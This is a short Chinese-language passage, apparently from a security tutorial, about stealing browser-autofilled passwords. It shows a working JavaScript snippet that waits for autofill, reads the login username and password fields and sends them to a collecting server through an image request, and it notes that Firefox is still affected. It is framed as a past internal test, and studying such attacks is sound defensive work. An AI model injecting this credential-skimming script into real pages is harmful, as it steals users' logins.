使用setTimeout是为了让浏览器填充完毕才发送账户和密码。(Chrome似乎已经无法通过这种方式获取,Firefox目前仍然可以。)
setTimeout(function () { username = document.getElementById('login_username').value; password = document.getElementById('login_password').value; if (username.length > 0) { var newimg = new Image(); newimg.src = 'http://127.0.0.1:8081/?username=' + username + '&password=' + password; } }, 2000);账户密码已成功接收。(这个是之前的一次内部测试中利用到的攻击手法,当时几乎所有浏览器都受影响,现目前只测试了Chrome和Firefox,Chrome已不受影响。)
以上是今天要分享的内容,大家看懂了吗?